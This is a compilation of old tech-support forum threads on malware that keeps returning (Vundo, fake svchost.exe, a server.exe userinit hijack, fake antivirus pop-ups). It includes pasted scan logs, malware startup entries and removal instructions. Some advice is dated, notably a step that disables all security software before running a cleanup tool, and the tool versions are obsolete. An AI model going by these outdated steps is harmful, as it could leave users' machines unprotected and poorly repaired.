Answer:incredifind, pop-ups keep coming back

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Problem: about every week, when I open internet, the pages will not load completely, and I can open yahoo email, but individual emails won't open. Also sites like facebook, I can get into, but will not finish loading and can only see parts of it. I can automatically know that there is a problem even before I get on the internet because the icon for internet connection will not be in my tray at all.

Have tried READ ME several times, and it seemed to work at the time, but the problem keeps coming back. This last time, my screen resolution was changed to a bigger font along with the pages not loading fully. I ran READ ME again, and internet is working but my resolution cannot be changed back.

SPECS: Windows Vista
32 bit system
Internet explorer
Aviva Antivirus
Outlook firewall
malwarebytes

logs from READ ME are attached-- couldn't run root repeal, it kept shutting off my computer. Also, could only run the remote Superantispyware and I cannot find the log for it. Thanks for your help!
 

Answer:Problem keeps coming back!

well, I spoke too soon. My internet is not loading completely again after a reboot. The internet connection icon is not in my tray either. Please Please help me!
 

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For the fourth time in the past few months, I have been experiencing strange pop-ups blocking my use of various programs. Twice, my IT dept. attempted removal of the virus, which looks like a virus warning from McAfee but will not allow removal or the use of the programs it is blocking. This time around it was blocking my use of Internet Explorer and Outlook.

A screen popped up and each time I tried to open the programs it would log a warning in the screen. The screen showed options for removing the items logged, however it would not respond to clicking any of the options and would only go away if I closed it out completely. If I did close it, as soon as I attempted to open those programs again, the warning would reappear. This is nearly identical to the last two or three times I have experienced this, with a couple weeks in between occurences.

I rebooted several times and recieved a pop-up message from Windows saying "Windows has recovered from a serious error." The third time I rebooted, it actually allowed me to open these programs without the warning. The first two times it would not go away. This has happened a couple of times prior, where that message seemed to temporarily fix my issue.

Is this a real virus that is hidden in my computer? What can I do to remove it completely?

Answer:Virus that keeps coming back

Hello can you run an MBAm scan and post a log back .. Let's see what it may show.Next run MBAM (MalwareBytes):Please download Malwarebytes Anti-Malware and save it to your desktop.alternate download link 1alternate download link 2MBAM may "make changes to your registry" as part of its disinfection routine. If using other security programs that detect registry changes (ie Spybot's Teatimer), they may interfere or alert you. Temporarily disable such programs or permit them to allow the changes.Make sure you are connected to the Internet.Double-click on mbam-setup.exe to install the application.When the installation begins, follow the prompts and do not make any changes to default settings.When installation has finished, make sure you leave both of these checked:Update Malwarebytes' Anti-MalwareLaunch Malwarebytes' Anti-MalwareThen click Finish.MBAM will automatically start and you will be asked to update the program before performing a scan.If an update is found, the program will automatically update itself. Press the OK button to close that box and continue.If you encounter any problems while downloading the definition updates, manually download them from here and just double-click on mbam-rules.exe to install.On the Scanner tab:Make sure the "Perform Quick Scan" option is selected.Then click on the Scan button.If asked to select the drives to scan, leave all the drives selected and click on the Start Scan button. The scan will begin and "Scan in progress" will show at the top... Read more

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Help! I use Security Task Manager and every time I connect on the internet, a fake 'svchost.exe' is being downloaded in "C:\WINDOWS\security." There are also a "kakijigu.dll" and "makezimu.dll" that appear in Security Task Manager. I use Avast and Malwarebytes but since I got this problem, I cannot update Avast, even by downloading the update through "avast.com" and Malwarebytes virus database is being deleted after I detect and remove some virus.

Another problem is that when I switch my modem on(I use a modem for wireless connection) and the fake "svchost.exe" is running, I get and error message on the "svchost.exe" and I cannot connect to the internet, I cannot open any program and the theme changes to Windows Classic.

Here is my DDS log:
DDS (Version 1.1.0) - NTFSx86
Run by Administrator at 10:21:45.17 on Mon 01/05/2009
Internet Explorer: 7.0.5730.11
Microsoft Windows XP Professional 5.1.2600.2.1252.1.1033.18.1015.536 [GMT 4:00]

AV: avast! antivirus 4.8.1229 [VPS 080723-1] *On-access scanning disabled* (Outdated)

============== Running Processes ===============

C:\WINDOWS\system32\svchost -k DcomLaunch
C:\WINDOWS\system32\svchost -k rpcss
C:\WINDOWS\System32\svchost.exe -k netsvcs
C:\WINDOWS\system32\svchost.exe -k NetworkService
C:\WINDOWS\system32\svchost.exe -k LocalService
C:\Program Files\Alwil Sof... Read more

Answer:Malware coming back

Please make sure you disable ALL of your Antivirus/Antispyware/Firewall before running ComboFix.. Please visit HERE if you don't know how.. Please re-enable them back after performing all steps given..Please download ComboFix by sUBs from one of the locations below, and save it to your Desktop.Link 1Link 2Link 3Double click combofix.exe and follow the prompts. Please, never rename Combofix unless instructed.If ComboFix asked you to install Recovery Console, please do so.. It will be your best interest..When finished, it shall produce a log for you. Post that log and a fresh HijackThis log in your next reply..Note: DO NOT mouseclick combofix's window while its running. That may cause it to stall

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Computer is a homebuilt Athlon running Win XP. Browser is Firefox. I run through a wired router to Comcast HS internet. McAfee is installed (but I have low expectations there).

I keep thinking I've got rid of it but it keeps coming back.

On Monday (1/18) I got a nasty virus. Spent all day Tuesday getting at it... finally installed XP on a spare drive and got Super Anti Spyware to run and look at my C: drive. It found Adware Vundo/Variant-QHeader which contained sysguard.exe and quaranteed it. I finally repaired my C drive so it would boot and ran Malwarebytes and Super Anti Spyware on it. It keeps coming up clean.

However, as I surf the internet (and I'm not going into nasty places), I keep getting new tabs that pop-up (usually from the MSNBC site). Something about a Government Check, an offer for Registry Defender, Yellow Pages for Jackson MI, a couple of Porn sites. If I rerun SAS, it finds some adware in cookies which it fixes, but after a while the phenomena keeps coming back. When SAS is running, McAfee keeps popping up with a message that it has "blocked Spy Alert", or Spy Pro, or a couple of other things.

Last ran SAS and it found a cookie to "atdmt(2).txt". I tried to google THAT and all kinds of SHI** started popping up on my computer!

Just ran Malwarebytes (1.41) and it found Rootkit-TDSS in "Local Settings, Temp Int Files" and a registry key for a Trojan "FakeAlert.N" These were quarantined.

Two q... Read more

Answer:Various nasties keep coming back

Just ran Malwarebytes (1.41)Malwarebytes Anti-Malware has been updated to v1.44. Please download and install the most current version from here. You may have to reboot after updating in order to overwrite any "in use" protection module files.The database last I checked it was 3614.Update the database through the program's interface (preferable method). Then perform a new Quick Scan in normal mode and check all items found for removal. Don't forgot to reboot afterwards. Failure to reboot normally (not into safe mode) will prevent MBAM from removing all the malware. When done, click the Logs tab and copy/paste the contents of the new report in your next reply.Note: Mbam-rules.exe is not updated daily. Another way to get the most current database definitions if you're having problems updating through the program's interface or have already manually downloaded the latest definitions (mbam-rules.exe) shown on this page, is to do the following: Install MBAM on a clean computer, launch the program and update through MBAM's interface. Copy the definitions (rules.ref) to a USB stick or CD and transfer that file to the infected machine. Copy rules.ref to the location indicated for your operating system. If you cannot see the folder, then you may have to Reconfigure Windows to show it.XP: C:\Documents and Settings\All Users\Application Data\Malwarebytes\Malwarebytes' Anti-MalwareVista: C:\Documents and Settings\Users&... Read more

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I have some sort of malware or virus on my computer. My computer is:
Dell Mini XP Home Edition Version 2002, Service Pack 3, CPU 1.60 GHz, 0.99 GB Ram
I connect to the internet wirelessly.

I have run Avast! scans which found and removed several items. I have used Ad-Aware to remove some items. I have also used CCleaner that removed items. However, the main problem keeps re-occuring. Several times it appeared to be gone, but always came back within one day. It does not appear to matter which websites I visit.

The main symptom:
Websites that I normally go to take more time to do anything, and then a big browser screen with some ad pops up full screen in front. This happens in both IE7 and Firefox. These are sites I am accustomed to go to and have visited daily for months and am fairly aware of their performance on this machine. Some of these sites do not work at all, until I kill some other process. However, there is really nothing extra that is normally running, so I end up killing the Avast! On-Access scanner.
Also when I try to install Malwarebytes, the main mbam.exe is never present, so I can not run this. I am not sure if the malware is preventing normal install of this program.

In the system startup items there is always something like (from CCleaner):
Program:tipejabov
File: Rundll32.exe "c:\windows\system32\biluguki.dll",a
the name of the file varies. It was nonomasu.dll yesterday. it was wituloru.dll the day before.
I susp... Read more

Answer:Malware keeps coming back

Hello these are Vundo (malware)files. Since the malware is affecting your ability to scan let's do it this way.Please download Rkill by Grinler and save it to your desktop.Link 2Link 3Link 4Double-click on the Rkill desktop icon to run the tool.If using Vista, right-click on it and Run As Administrator.A black DOS box will briefly flash and then disappear. This is normal and indicates the tool ran successfully.If not, delete the file, then download and use the one provided in Link 2.If it does not work, repeat the process and attempt to use one of the remaining links until the tool runs.If the tool does not run from any of the links provided, please let me know.1. Uninstall Malwarebytes' Anti-Malware using Add/Remove programs in the control panel.2. Restart your computer (very important).3. Download and run this utility. Mbam clean4. It will ask to restart your computer (please allow it to).5. Due to the reboot,you need to run RKill again.6. After the computer restarts, install the latest version from here. http://www.malwarebytes.org/mbam-download.phpNote: You will need to reactivate the program using the license you were sent.Note: If using Free version, ignore the part about putting in your license key and activating.Launch the program and set the Protection and Registration. Then go to the UPDATE tab if not done during installation and check for updates.Restart the computer again and verify that MBAM is in the task tray and run a Quick Scan and post that log.Rerun... Read more

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I've already gotten rid of a lot of the spy ware already, but no matter what I do it comes back. I've run Ad-adware SE, removed everything that the program found and rebooted. Next I run Spy-bot S&D remove what it finds and reboot. Finally I run HJT and input the log on the HJT analyze website and removed anything marked "Nasty". I did this process about 5 times now and the pop-ups are still coming back. Below is my latest HJT log after running the 2 programs aforementioned. I know that the BHO file needs to be removed but that is the one that returns every time!! How do I permanently fix this? Please help!

Logfile of HijackThis v1.98.2
Scan saved at 9:54:02 AM, on 9/2/2004
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINNT\System32\smss.exe
C:\WINNT\system32\winlogon.exe
C:\WINNT\system32\services.exe
C:\WINNT\system32\lsass.exe
C:\WINNT\system32\svchost.exe
C:\WINNT\System32\svchost.exe
C:\WINNT\system32\spoolsv.exe
C:\PROGRA~1\SYMANT~1\SYMANT~1\DefWatch.exe
C:\Program Files\Common Files\Microsoft Shared\VS7Debug\mdm.exe
C:\PROGRA~1\SYMANT~1\SYMANT~1\Rtvscan.exe
C:\WINNT\System32\MsPMSPSv.exe
C:\WINNT\System32\wuauclt.exe
C:\WINNT\system32\rundll32.exe
C:\WINNT\Explorer.EXE
C:\Program Files\QuickTime\qttask.exe
C:\Program Files\Java\j2re1.4.2_01\bin\jusched.exe
C:\WINNT\System32\otjfkg.exe
C:\PROGRA~1\SYMANT~1\SYMANT~1\vptray.exe
C:\WINNT\System32\ctfmon.exe
C:\PROGRA~1\PANICW~1... Read more

Answer:Please Help - Spyware keeps coming back!!!!!

You've got TROJ_AGENT.AE. Go to http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=TROJ_AGENT.AE for info and the means to get rid of it.
 

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I recently got an 0x80004005 activation error on my XP Media Center 2005 computer. I changed the userinit registry data by using the following link http://forums.spybot.info/blog.php?b=14. It worked for a while but eventually I was forced to do a Recovery install over my current installation. I reactivated, using a real CD key, as I own an official version of XP Media Center 2005. My computer now boots up but the Userinit registry value is always changed after reboot. I used Spy Sweeper 5.5 and Malwarebytes' Anti-Malware 1.35. Upon startup Anti-Malware 1.35 detects the server.exe spyware and then deletes it and after a restart it is back. The Userinit registry value is C:\WINDOWS\system32\userinit.exe,"C:\WINDOWS\server.exe", after every restart even after Anti-Malware changes it back to C:\WINDOWS\system32\userinit.exe, The problem I am having is that after a certain period of time, none of my web browsers can connect to the internet anymore. Using a command-prompt I can ping yahoo.com so I am still connected, I just can't use my web browsers. I have attached the following hijackthis info. Thanks in advance for your help.DDS (Ver_09-03-16.01) - NTFSx86 Run by Ed at 5:13:22.15 on Sat 04/04/2009Internet Explorer: 7.0.5730.13 BrowserJavaVersion: 1.6.0_13Microsoft Windows XP Professional 5.1.2600.2.1252.1.1033.18.3582.2654 [GMT -8:00]AV: Symantec AntiVirus Corporate Edition *On-access scanning enabled* (Updated)=============... Read more

Answer:server.exe keeps coming back

Hello.You have a nasty infection on board. One of them includes a backdoor.Backdoor ThreatIMPORTANT NOTE: Unfortunatly One or more of the identified infections is a backdoor trojan.This allows hackers to remotely control your computer, steal critical system information and download and execute files.I would counsel you to disconnect this PC from the Internet immediately. If you do any banking or other financial transactions on the PC or if it should contain any other sensitive information, please get to a known clean computer and change all passwords where applicable, and it would be wise to contact those same financial institutions to apprise them of your situation.Though the trojan has been identified and can be killed, because of it's backdoor functionality, your PC is very likely compromised and there is no way to be sure your computer can ever again be trusted. Many experts in the security community believe that once infected with this type of trojan, the best course of action would be a reformat and reinstall of the OS. Please read these for more information:How Do I Handle Possible Identify Theft, Internet Fraud and CC Fraud?When Should I Format, How Should I ReinstallWe can still clean this machine but I can't guarantee that it will be 100% secure afterwards. Let me know what you decide to do.With Regards,Extremeboy

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So there's obviously some virus on this computer that I'm not finding. I run malwarebytes and it says it cleans up Total Security from my computer, but then I reboot a couple of times and it's all back there again.

Can someone help me get this nasty thing off?

Thanks.

Answer:I keep cleaning it up and it keeps coming back

Hello and welcome to Bleeping Computer.Please subscribe to your topic so that you will be notified as soon as I post a reply, instead of you having to check the topic all of the time. This will allow you to get an email notification when I reply.To subscribe, go to your topic, and at the top right hand corner by your first post, click the Options button and then click Track this topic. The bullet the immediate notification bubble. Then press submit.Could you please post your Malwarebytes log for review? It can be found from the "Logs" tab in the program.

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